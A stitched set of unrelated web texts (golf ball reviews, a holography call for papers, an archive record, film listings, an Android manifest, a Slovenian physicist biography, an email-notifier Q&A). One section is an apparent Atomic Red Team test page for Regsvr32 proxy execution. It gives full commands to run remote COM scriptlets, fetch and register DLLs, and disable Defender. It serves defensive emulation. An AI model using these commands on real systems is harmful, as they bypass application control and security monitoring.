With a name like HX Bite, it's easy to know how this ball was designed to perform. Although not with a urethane cover, the HX Bite not only is a three-piece design for more spin around the greens, but also is considered to be a solid distance contender. How can that be? Well, the mantle (midlayer) is specially designed to flex more off the tee with the driver for more distance; but when hit with an iron, it resists flexing and allows the soft cover to create more spin. We tried it, and we're impressed with the results. Also, we really like the way this golf ball felt when putting–soft, but not too soft. It also was durable and resistant to scuffing and abrasion. Seriously, what's not to like here?
Cover: Ionomer, 332-dimple HEX technology
Performance: It's long off the tee, and spins a lot on short shots for added control. These versions are more durable and longer than Callaway's previous midpriced golf balls. $29/doz.
Titleist NXT Tour
Even we admit that, for a while, the difference in performance between the NXT Tour and the Pro V1 was too great to consider replacing one for another. One had Tour-level performance; the other, more suited for the demands of a weekend warrior. But not this year. Thanks a lot, Titliest. You've succeeded at creating one of the best non-urethane-covered golf balls on the market in terms of distance and spin around the greens. You've also made it harder to choose which one is better for more golfers. In fact, we contend this ball is more responsive than many of the urethane-covered balls were just three to four years ago. It's long, feels soft, and even though it may not spin as much as a urethane-covered ball might on chips and pitches, it comes awfully close.
Cover: Fusablend, 332-dimple pattern with Staggered Wave Parting Line tech
Performance: The ideal blend of power, spin and durability from a non-urethane-covered golf ball. We found these balls to last forever, and for players who want more distance with a soft feel, the NXT is a viable alternative. $29/doz.
Wilson Staff FG Tour
Wilson Staff doesn't normally garner the fair share of acclaim here in the States that it gets in the UK, but with the new FG Tour, that may change. The FG Tour is legit–it has a four-piece construction and a urethane cover made with what Wilson Staff calls "Traction Control Technology"–a fancy way of saying it has added spin on wedge, pitch and chip shots. We've actually tested the FG Tour, and can't help but say it deserves a spot among the top Tour-level golf balls available. Wilson Staff also says it "feels like a balata ball," and we can't help but agree. Give them a try; you won't be disappointed.
Cover: Urethane with Traction Control Technology
Performance: A Tour-caliber golf ball that's long with the driver and spinny on short shots. $38/doz.
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Call for papers | Special Issue on Celebrating Holography
after 60 Years of Successful Application
Prof. Dr. Wolfgang Osten, University Stuttgart
Prof. Dr. Richard Kowarschik, Friedrich-Schiller-University Jena
Join a special edition of the Journal Light – Advanced Manufacturing and pay tribute to several Anniversaries of Holography in 2021.
Submission to the Special Issue
Please contribute your manuscript via https://mc03.manuscriptcentral.com/lam and indicate that it is for the Special Issue on Celebrating Holography after 60 Years of Successful Application in the cover letter.
Deadline for Submission:
Light: Advanced Manufacturing LAM is a new, highly selective, open-access, and free of charge international sister journal of the Nature Journal Light: Science & Applications. The journal is aimed to publish innovative research in all modern areas of preferred light-based technologies, including fundamental and applied research as well as industrial innovations.
Please see: http://www.light-am.com/index.htm
The invention of Holography by Dennis Gabor [1] goes back to the year 1948. Gabor could show that the complete original wavefront of the object with its amplitude and phase can be reconstructed by adding a coherent background to a wave coming from an object while storaging. However, because no adequate source of coherent light was available at this time, the small coherence length of the mercury lamp forced him to arrange everything along one axis. This setup, known as in-line holography, has the disadvantage that the desired reconstruction is in line with disturbing diffraction orders, and can be separated from the disturbances only by focusing. Gabor finally gave up his investigations and mentioned in 1955 to his collaborator Michael W. Haine, "It was a very ill wind which I let out now almost eight years ago which blew nobody any good, least of all to myself."
The holographic principle, on which Gabor had set his high hopes, especially with respect to the enhancement of the resolution of the electronic microscope, seemed to retain only the status of a scientific curiosity. But the breakthrough would be achieved a couple of years later. In the early 1960s, Emmeth Leith and Juris Upatnieks, two physicists at the University of Michigan, implemented their off-axis scheme as a smart combination of Gabor's holographic principle with the carrier frequency technique known from side-looking radar. Their famous publication came out 60 years ago in 1961 [2]. In this way the twin image problem could be effectively eliminated. However, it resulted in the requirement of increased temporal coherence which could be satisfied by the use of a powerful coherent light source only. Such a source was soon available. In 1958, Charles Townes at the Columbia University, and a Russian research group led by Nicolay Basov and Aleksandr Prokhorov at the Lebedev Institute for Physics, Moscow, simultaneously and independently analyzed the possibilities of applying the microwave amplification by stimulated emission of radiation (MASER) principle to the optical region of the electromagnetic spectrum.
The first operating optical MASER, now known as the laser, was constructed by Maiman and was demonstrated at the Hughes Research Laboratories in Malibu, California, in 1960 [3] The symbiosis of the holographic and laser principle opened the door for a large variety of new technologies and applications in optical imaging, information processing, and metrology. The 1960s were filled with a variety of successful practical applications and innovations such as display or volume holography [4], computer generated holography [5], holographic interferometry [6], holographic nondestructive testing, holographic pattern recognition, and holographic storage technology. Gabor took an active part in this development. 50 years ago on the occasion of his Nobel lecture at the Imperial Colleges in 1971, he also tried to take a look into the future of holography [7] Gabor mentioned "However, there are important areas in which we can do much more, and where an improvement is badly needed. This is the area of microholograms, for storing and for display. An even more ambitious scheme, probably even farther in the future, is three-dimensional cinematography, without viewing aids such as Polaroids." The basics for such a technological leap like digital storage, reconstruction, and synthesis of holograms were already on the way [8, 9] when Gabor made this prediction.
Holography also established the basis for new measurement technologies that play an important role in manufacturing. 1966 Karl A. Stetson and Robert L. Powell published their groundbraking article "Holographic Interferometry" [6]. A.J. McGovern and J.C. Wyant proposed 1971 a new method for testing optical elements based on computer generated holograms [10]. Later Karl Stetson correctly mentioned "The novelty of Holography is Speckle". This astonishing effect as a result of the interaction of coherent light with scattering media was observed already many years ago. But to use Speckle as an outstanding tool for non-destructive testing goes back to the early 70th [11] and was also stimulated by holography. To use video tubes instead of photo plates and electronic recording was a further important step in 1971 to make Speckle metrology called ESPI (Electronic Speckle Pattern Interferometry) to a mature technology [12].
[1]	D. Gabor, "A new microscopic principle," Nature 161, 777–778 (1948)
[2]	Emmett N. Leith and Juris Upatnieks, "New techniques in wavefront reconstruction," Journal of the Optical Society of America 51 (1961)1469
[3]	T. H. Maiman, "Stimulated optical radiation in ruby," Nature 187, 493–494 (1960)
[4]	Yu. N. Denisyuk, "On the Reflection of Optical Properties of an Object in the Wave Field of Light Scattered by It" (in Russian), Doklady Akademii Nauk SSSR 144, No. 6, 1275-1278 (1962)
[5]	B. R. Brown and A. W. Lohmann, "Complex spatial filtering with binary masks," Applied Optics, vol. 5, no. 6, pp. 967–969, (1966).
[6]	Karl A. Stetson and Robert L. Powell, "Holographic Interferometry," Journal of the Optical Society of America Vol. 56, Issue 9, pp. 1161-1163 (1966)
[7]	D. Gabor, "Physics 1971-1980," Nobel Lecture, S. Lundqvist, Ed., World Scientific Publishing Co., Singapore (1992) dedicated to the award of the Nobel Prize in 1971
[8]	J. W. Goodman and R. W. Lawrence, "Digital image formation from electronically detected holograms," Appl. Phys. Lett. 11(3), 77–79 (1967)
[9]	T. S. Huang, "Digital holography," Proc. IEEE 59(9), 1335–1346 (1971)
[10]	A. J. McGovern and J.C. Wyant, "Computer generated holograms for testing optical elements," Applied Optics 16(1971)619
[11]	J. A. Leendertz, "Interferometric displacement measurement on scattering surfaces utilizing speckle effect," 1970 J. Phys. E: Sci. Instrum. 3, 214
[12]	J. N. Butters, J. A. Leendertz: Holographic and Videotechniques applied to engineering measurements. In: J Meas Control. Band 4, 1971, S. 349–354
The Dedication
This short list of milestones from the years 1961, 1966, and 1971 with important discoveries in holography shows that there is a very good reason to appreciate the amazing contributions of that influential imaging method with a special edition of a scientific journal.
Topics of interest include but are not limited to
● holographic technologies
● holographic applications in engineering, information processing, multi media, cultural heritage preservation, environmental monitoring, and life sciences
● holographic components
● holographic display technologies
● holographic metrology and non-destructive testing
● further technologies stimulated by or using holographic principles
Expected Publication:
In the November/December 2021 Issue of LAM
This special issue will be highlighted at least two weeks on the front page of Light: Science & Applications after publication.
Author Guidelines:
Please see: http://www.light-am.com/news/guidance.htm
If anything we could further assist with please email light_am@jihualab.com


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George F. Pierrot Collection
Identifier: RH-A-3566
Western Michigan University Archives & Regional History Collections
This collection contains a copy of the World Letters, a geography education textbook consisting of correspondence from George F. Pierrot, a well-known Detroit-based TV personality and frequent speaker at the Detroit Institute of Art. Beginning in Northern Ireland and ending in Punjab, India, the correspondence in question served to provide some geographical information about various localities in Europe, Africa, and Asia, in 1937, in the form of a travel narrative written by George Pierrot to the students of Watervliet Middle School. The collection also contains a small portion of letters written by Orin Kaye Jr. in 1939, under the heading of, "Your Youth Reporter," which depict his travels in North Africa, in particular French Algeria and Tunisia, and southern Italy. Also contained within the World Letters textbook, were small miscellaneous artifacts, such as fliers and postcards, in particular a flier to the 1937 International Exhibition in Paris, France. This collection also contains a large fold-out map illustrating Pierrot's journey from North America to Europe, before abruptly ending in Berlin, Germany.
Pierrot, George, 1898-1980 (Person)
This collection is approximately .50 cubic feet, and consists of one box containing the textbook and a map folder containing the travel map.
This collection was originally donated to the Western Michigan University Rare Books and Special Collections in Waldo Library by Dr. David Kingsley, they were later transferred to the Archives and Regional History Collections.
Geography -- Study and teaching
Travel writing -- History -- 20th century
Watervliet High School (Watervliet. Mich.)
Kingsley, David, Dr. (Donor, Person)
Andrew Archey
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Language of description note
Part of the Western Michigan University Archives & Regional History Collections Repository
https://wmich.edu/library/collections/archives
Charles C. and Lynn L. Zhang Legacy Collections Center
1650 Oakland Drive
Kalamazoo MI 49008-5307 US
arch-collect@wmich.edu
George F. Pierrot Collection, RH-A-3566. Western Michigan University Archives & Regional History Collections. https://aspace.library.wmich.edu/repositories/3/resources/258 Accessed January 15, 2021.


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Observe and Report (2009)
Comedy, Crime, Drama
Seth Rogen, Anna Faris, Ray Liotta
Bi-polar mall security guard Ronnie Barnhardt is called into action to stop a flasher from turning shopper's paradise into his personal peep show. But when Barnhardt can't bring the culprit to justice, a surly police detective is ...
The Old Way (2023)
Action, Western
Nicolas Cage, Dean Armstrong, Ryan Kiera Armstrong
Hit and Run (2009)
Crime, Horror, Thriller
Laura Breckenridge, Kevin Corrigan, Christopher Shand
A young woman tries to cover up a deadly hit and run accident, only to have the supposedly dead victim come back to terrorize her.
Havenhurst (2017)
Julie Benz, Belle Shouse, Josh Stamberg
A troubled young woman takes up residence in a gothic apartment building where she must confront a terrifying evil.
Khumba (2013)
Animation, Adventure, Family
Jake T. Austin, Adrian Rhodes, Sam Riegel
Rejected by his superstitious herd, a half-striped zebra embarks on a daring quest to earn his stripes but finds the courage and self-acceptance to save all the animals of the Great Karoo.
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Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)

## Atomic Tests

- [Atomic Test #1 - Regsvr32 local COM scriptlet execution](#atomic-test-1---regsvr32-local-com-scriptlet-execution)

- [Atomic Test #2 - Regsvr32 remote COM scriptlet execution](#atomic-test-2---regsvr32-remote-com-scriptlet-execution)

- [Atomic Test #3 - Regsvr32 local DLL execution](#atomic-test-3---regsvr32-local-dll-execution)

- [Atomic Test #4 - Regsvr32 Registering Non DLL](#atomic-test-4---regsvr32-registering-non-dll)

- [Atomic Test #5 - Regsvr32 Silent DLL Install Call DllRegisterServer](#atomic-test-5---regsvr32-silent-dll-install-call-dllregisterserver)

## Atomic Test #1 - Regsvr32 local COM scriptlet execution
Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

**Supported Platforms:** Windows

**auto_generated_guid:** 449aa403-6aba-47ce-8a37-247d21ef0306

#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| filename | Name of the local file, include path. | Path | PathToAtomicsFolder\T1218.010\src\RegSvr32.sct|
| regsvr32path | Default location of Regsvr32.exe | Path | C:\Windows\system32|
| regsvr32name | Default name of Regsvr32.exe | String | regsvr32.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{regsvr32path}\#{regsvr32name} /s /u /i:#{filename} scrobj.dll
```

#### Dependencies:  Run with `powershell`!
##### Description: Regsvr32.sct must exist on disk at specified location (#{filename})
##### Check Prereq Commands:
```powershell
if (Test-Path #{filename}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct" -OutFile "#{filename}"
```

## Atomic Test #2 - Regsvr32 remote COM scriptlet execution
Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable
windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.

**Supported Platforms:** Windows

**auto_generated_guid:** c9d0c4ef-8a96-4794-a75b-3d3a5e6f2a36

#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| url | URL to hosted sct file | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct|
| regsvr32path | Default location of Regsvr32.exe | Path | C:\Windows\system32|
| regsvr32name | Default name of Regsvr32.exe | String | regsvr32.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{regsvr32path}\#{regsvr32name} /s /u /i:#{url} scrobj.dll
```

## Atomic Test #3 - Regsvr32 local DLL execution
Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

**Supported Platforms:** Windows

**auto_generated_guid:** 08ffca73-9a3d-471a-aeb0-68b4aa3ab37b

#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dll_name | Name of DLL to Execute, DLL Should export DllRegisterServer | Path | PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll|
| regsvr32path | Default location of Regsvr32.exe | Path | C:\Windows\system32|
| regsvr32name | Default name of Regsvr32.exe | String | regsvr32.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )
```

#### Dependencies:  Run with `powershell`!
##### Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})
##### Check Prereq Commands:
```powershell
if (Test-Path #{dll_name}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"
```

## Atomic Test #4 - Regsvr32 Registering Non DLL
Replicating observed Gozi maldoc behavior registering a dll with an altered extension

**Supported Platforms:** Windows

**auto_generated_guid:** 1ae5ea1f-0a4e-4e54-b2f5-4ac328a7f421

#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dll_file | Path to renamed dll file to be registered | Path | %temp%\shell32.jpg|
| regsvr32path | Default location of Regsvr32.exe | Path | C:\Windows\system32|
| regsvr32name | Default name of Regsvr32.exe | String | regsvr32.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{regsvr32path}\#{regsvr32name} /s #{dll_file}
```

#### Cleanup Commands:
```cmd
#{regsvr32path}\#{regsvr32name} /U /s #{dll_file}
```

#### Dependencies:  Run with `command_prompt`!
##### Description: Test requires a renamed dll file
##### Check Prereq Commands:
```cmd
if exist #{dll_file} ( exit 0 ) else ( exit 1 )
```
##### Get Prereq Commands:
```cmd
copy "C:\Windows\System32\shell32.dll" "#{dll_file}"
```

## Atomic Test #5 - Regsvr32 Silent DLL Install Call DllRegisterServer
Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.

**Supported Platforms:** Windows

**auto_generated_guid:** 9d71c492-ea2e-4c08-af16-c6994cdf029f

#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dll_name | Name of DLL to Install | String | PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll|
| regsvr32path | Default location of Regsvr32.exe | String | C:\Windows\system32|
| regsvr32name | Default name of Regsvr32.exe | String | regsvr32.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{regsvr32path}\#{regsvr32name} /s /i #{dll_name}
```

#### Dependencies:  Run with `powershell`!
##### Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})
##### Check Prereq Commands:
```powershell
if (Test-Path #{dll_name}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"
```

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<manifest xmlns:android="http://schemas.android.com/apk/res/android"
          package="it.snipsnap.slyce_messaging_example">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">

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        </activity>

        <activity android:name="ui.MainActivity"/>
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        <activity android:name=".SendActivity"/>
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            <meta-data
                android:name="android.support.PARENT_ACTIVITY"
                android:value="ui.MainActivity"/>
        </activity>
        <activity android:name="ui.NoticeActivity">
            <meta-data
                android:name="android.support.PARENT_ACTIVITY"
                android:value="ui.MainActivity"/>
        </activity>
        <activity android:name="ui.SearchActivity">
            <meta-data
                android:name="android.support.PARENT_ACTIVITY"
                android:value="ui.MainActivity"/>
        </activity>
        <activity android:name="ui.ZiliaoActivity">
            <meta-data
                android:name="android.support.PARENT_ACTIVITY"
                android:value="ui.MainActivity"/>
        </activity>
        <activity android:name="ui.PrefsActivity">
            <meta-data
                android:name="android.support.PARENT_ACTIVITY"
                android:value="ui.MainActivity"/>
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Pierre Ramond, ameriški fizik, *  31. januar 1943, Neuilly-sur-Seine, Francija.

Življenje

Ramond je najprej študiral strojništvo na Kolidžu Newark. Doktoriral je iz fizike na Univerzi v Syracusi (New York, ZDA) pod Balačandranovim mentorstom. Pozneje je delal na Univerzi Yale. Najprej kot predavatelj, nato pa od 1973 do 1976 kot profesor. Pozneje je bil na Kalifornijskem tehnološkem inštitutu (Caltech). Leta 1980 je postal tudi profesor fizike na Univerzi Floride. Od leta 1999 je zaslužni profesor univerze. Je predstojnik Inštituta za osnovno teorijo (IFT) Oddelka za fiziko floridske univerze.

Delo

Igral je pomembno vlogo pri razvoju teorije superstrun. Neodvisno od francoskega teoretičnega fizika Andréa Neveua (rojen 1946) in ameriškega fizika Johna Henryja Schwarza (rojen 1941) je razvil prvo teorijo strun za fermione. Pozneje se je ukvarjal tudi s teorijo velikega poenotenja.

Priznanja

Je član Ameriškega fizikalnega društva. Prejel je medaljo Oskarja Kleina, ki jo podeljujeta Švedska kraljeva akademija znanosti in Univerza v Stockholmu. Leta 2015 je prejel Heinemanovo nagrado za matematično fiziko.

Sklici

Zunanje povezave

 Osebna stran Pierra Rajmonda (UFL)
 Življenjepis

Živeči ljudje
Ameriški fiziki
Predavatelji na Univerzi Floride
Prejemniki Heinemanove nagrade


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Q: Check email at fixed interval I'm trying to cut down the time I spend checking for new mails by having an app/tool that works like Gmail Notifier (I'm on a PC), except that it allows you to specify checks at a fixed interval or at particular times of day. I would like to know if anyone has a recommendation for such an app.
I've tried the following apps:

*

*Official Gmail Notifier/Talk client - Does not allow specification of interval

*GWatchman - Does not allow custom intervals (slider-based), UI looks weird when not used with the Reader notification (see image below)

*Gmail Peeper - Does not support intervals above 60 minutes

A: Well, I don't know about Windows specific, bu Chrome and Firefox have some email checking add-ons that you can set the checking interval. I, for example, use mail checker plus, for chrome.
Take a look at this other one too

A: Not what you're asking for, but what the heck.
I use a full-featured e-mail software, Thunderbird, which connects and downloads messages from to 2 gmail accounts and 1 yahoo mail accounts through IMAP.
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To be honest, I wouldn't go back to a mere notifier.

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